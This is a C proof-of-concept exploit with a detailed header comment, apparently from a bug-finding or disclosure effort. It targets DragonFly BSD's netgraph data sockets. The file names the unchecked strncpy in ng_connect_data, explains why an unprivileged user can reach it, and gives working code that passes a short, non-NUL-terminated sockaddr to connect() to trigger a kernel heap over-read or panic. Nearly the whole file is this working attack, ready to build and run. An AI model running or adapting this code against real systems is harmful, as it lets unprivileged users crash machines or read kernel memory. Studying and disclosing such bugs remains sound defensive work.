/*
 * DF-0536 - Unprivileged kernel heap over-read via non-NUL-terminated
 *           sockaddr_ng passed to connect(2) on an AF_NETGRAPH SOCK_DGRAM
 *           (data) socket.
 *
 * Bug: sys/netgraph7/socket/ng_socket.c ng_connect_data():752-778 passes
 *      sap->sg_data to ng_address_path() -> ng_path2noderef() which does
 *      strncpy(fullpath, address, NG_PATHSIZ-1) WITHOUT first verifying that
 *      sg_data is NUL-terminated within the sa_len bytes the syscall layer
 *      allocated (M_SONAME, no M_ZERO). ng_bind():822-824 validates this
 *      (sg_data[sg_len-3]=='\0'); ng_connect_data omits the check.
 *
 *      Data sockets require NO privilege: ngd_attach (ng_socket.c:387) has no
 *      caps_priv_check, unlike ngc_attach (:182) which requires
 *      SYSCAP_RESTRICTEDROOT. So an unprivileged user can trigger this.
 *
 * Effect: strncpy scans past the sa_len-byte allocation into adjacent slab
 *      memory (up to 511 bytes). If the scan crosses an unmapped page it
 *      faults -> kernel panic (DoS). Otherwise it is a silent heap over-read
 *      (info side-channel via timing / node-name match resolution).
 *
 * Precondition: the ng_socket netgraph subsystem must be available. ng_socket
 *      is a stock loadable module (/boot/kernel/ng_socket.ko) shipped with the
 *      default install; an admin enables it with `kldload ng_socket` (realistic
 *      default subsystem enablement, analogous to loading ipfw/nfsserver).
 *      The TRIGGER itself (connect) is fully unprivileged.
 *
 * Build:  cc -O2 -o df0536 df0536.c
 * Run:    ./df0536            (as unprivileged user, e.g. maxx)
 *         exit code 0 = OOB-read path reached (bug exercised);
 *         if the guest panics, the OOB read crossed a page boundary (DoS).
 */

#include <sys/param.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>

/* AF_NETGRAPH is 32 on DragonFly. sockaddr_ng from <netgraph7/socket/ng_socket.h>:
 *   unsigned char sg_len; sa_family_t sg_family; char sg_data[14];
 * We define a local copy so the PoC needs no kernel headers.
 *
 * protosw selection (ng_socket.c:1121-1136): both control and data sockets are
 * SOCK_DGRAM in the netgraph domain, distinguished by pr_protocol:
 *   NG_CONTROL = 2  (first entry; matched when socket() proto arg == 0)
 *   NG_DATA    = 1  (data socket; must request explicitly)
 * socket(AF_NETGRAPH, SOCK_DGRAM, 0) -> CONTROL (needs root).
 * socket(AF_NETGRAPH, SOCK_DGRAM, 1) -> DATA (no priv). */
#define MY_AF_NETGRAPH 32
#define NG_DATA        1

struct my_sockaddr_ng {
	unsigned char  sg_len;       /* total length */
	unsigned short sg_family;    /* address family */
	char           sg_data[64];  /* over-long for our purposes */
};

int main(void)
{
	int fd, rc;
	struct my_sockaddr_ng sa;

	printf("[*] DF-0536: unprivileged AF_NETGRAPH data-socket heap over-read\n");
	printf("[*] uid=%d euid=%d\n", getuid(), geteuid());

	fd = socket(MY_AF_NETGRAPH, SOCK_DGRAM, NG_DATA);
	if (fd < 0) {
		printf("[!] socket(AF_NETGRAPH, SOCK_DGRAM) failed: %s\n",
		    strerror(errno));
		if (errno == EPROTONOSUPPORT || errno == EAFNOSUPPORT ||
		    errno == EINVAL) {
			printf("[!] ng_socket.ko not loaded (admin must: kldload "
			    "ng_socket). Exit.\n");
		}
		return 2;
	}
	printf("[+] data socket created (fd=%d) - NO privilege required\n", fd);

	/*
	 * Build a short, NON-NUL-terminated sockaddr_ng.
	 * sa_len = 5  -> syscall layer allocates exactly 5 bytes (M_SONAME).
	 *                layout: [sg_len=5][sg_family=AF_NETGRAPH][3 payload bytes]
	 *                sg_data points at payload (3 bytes), NONE of them NUL.
	 * Fill payload with 0x41 ('A') so strncpy must run past the 3 valid bytes
	 * into adjacent slab memory looking for a NUL.
	 */
	memset(&sa, 0x41, sizeof(sa));
	sa.sg_len    = 5;                 /* total sockaddr length */
	sa.sg_family = MY_AF_NETGRAPH;    /* family */
	/* sg_data[0..2] left as 0x41 (non-NUL) */

	printf("[*] calling connect() with sg_len=%u, payload 3x 'A' (no NUL)\n",
	    sa.sg_len);
	printf("[*] kernel should strncpy() past the 5-byte allocation -> OOB read\n");

	errno = 0;
	rc = connect(fd, (struct sockaddr *)&sa, sa.sg_len);
	printf("[*] connect returned %d, errno=%d (%s)\n",
	    rc, errno, strerror(errno));

	/*
	 * Whatever connect() returns, the bug has already fired: strncpy in
	 * ng_path2noderef read past the allocation. If we are still alive the
	 * scan happened to hit a NUL (or stayed in-mapped); the OOB read still
	 * occurred. If the guest is now dead, the scan crossed an unmapped page.
	 */
	if (rc == 0) {
		printf("[+] connect succeeded unexpectedly (OOB read happened, "
		    "no page fault)\n");
	} else {
		printf("[+] connect returned error (expected) BUT the strncpy\n");
		printf("    OOB-read primitive already fired before the error.\n");
	}
	printf("[+] DF-0536 OOB-read path exercised. Check dmesg/boot.log for "
	    "a panic if the guest is dead.\n");

	close(fd);
	return 0;
}
